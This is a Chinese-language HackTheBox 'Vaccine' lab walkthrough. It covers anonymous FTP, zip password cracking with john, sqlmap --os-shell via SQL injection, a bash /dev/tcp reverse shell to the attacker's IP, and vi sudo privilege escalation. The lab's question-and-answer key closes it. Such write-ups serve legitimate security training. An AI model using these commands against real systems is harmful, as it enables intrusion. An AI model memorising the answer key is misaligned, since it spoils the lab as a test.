HackTheBox - Vaccine
2022-6-17 14:54:21 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

信息收集FTP匿名登录暴力破解sqlmap之getshellvi提权

使用nmap -A -T3 -v 10.129.171.0命令对靶机ip进行扫描
可以发现目标主机开发了ftp、ssh和http三个端口,其中ftp支持匿名模式登录,并且存在一个backup.zip文件
同时在网页中访问ip,存在一个登录界面

接下来就使用ftp匿名登录目标靶机,在name处输入Anonymous,密码为空
通过dir命令发现存在一个backup.zip,使用get命令下载到本地

压缩包中存在index.php,使用弱密码尝试解压压缩包,发现行不通,那就需要用到爆破工具来爆破密码了
这时候会用到john的zip2john脚本,将加密压缩包的密码hash值导出到文件中,再用john对其进行爆破
用zip2john导出hash后,使用john和/usr/share/wordlists/目录下的rockyou.txt字典进行爆破,得到密码为741852963
使用密码解压得到index.php和style.css文件,这个index.php应该就是登录页面的源码了
打开index.php文件后可以发现存在一个判断语句,判断username是否等于admin以及密码的md5值是否等于2cb42f8734ea607eefed3b70af13bbd3
直接把md5值放到cmd5里去解密,得到密码qwerty789

使用账户密码登录网站,可以看到一个表单,右上角有查询功能,尝试使用一下查询功能
可以发现在查询时使用了一个search的参数,可能存在sql注入漏洞,直接上sqlmap

sqlmap -u http://10.129.171.0/dashboard.php?search=zeus --cookie=PHPSESSID=075quf5khr2nf6k6k62m1p2m5j --os-shell --batch
//--cookie是指定页面cookie,否则页面就会跳转回登录页面
//--os-shell 使用sqlmap去getshell
// -batch 使用默认设置

成功getshell
但是可以看到命令执行结果的显示很别扭,为了我们后面更好地提取,我们先进行反弹shell
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.92/4444 0>&1'
同时监听4444端口,成功反弹shell

在nmap的扫描结果中知道靶机用的是apache服务,那就可以去/var/www/html目录看下,发现有个dashboard.php
查看文件,在数据库连接语句中可以得到postgres的密码[email protected]!
做到这一步的时候会发现在getshell之后,过一会会自动断开连接,在提权的时候会很麻烦,不过幸运的是我们拿到了postgres的密码,可以直接用ssh连上靶机ssh [email protected]{target_ip}

使用sudo -l查看我们有哪些命令可以sudo使用
发现我们可以sudo使用vi编辑/etc/postgresql/11/main/pg_hba.conf文件,那么就可以用sudo提取

:set shell=/bin/bash
: shell

提取成功

vi提权具体可参考GTFOBins

Besides SSH and HTTP, what other service is hosted on this box?
ftp

This service can be configured to allow login with any password for specific username. What is that username?
Anonymous

What is the name of the file downloaded over this service?
backup.zip

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
zip2john

What is the password for the admin user on the website?
qwerty789

What option can be passed to sqlmap to try to get command execution via the sql injection?
--os-shell

What program can the postgres user run as root using sudo?
vi


文章来源: https://www.freebuf.com/articles/web/336533.html
如有侵权请联系:admin#unsafe.sh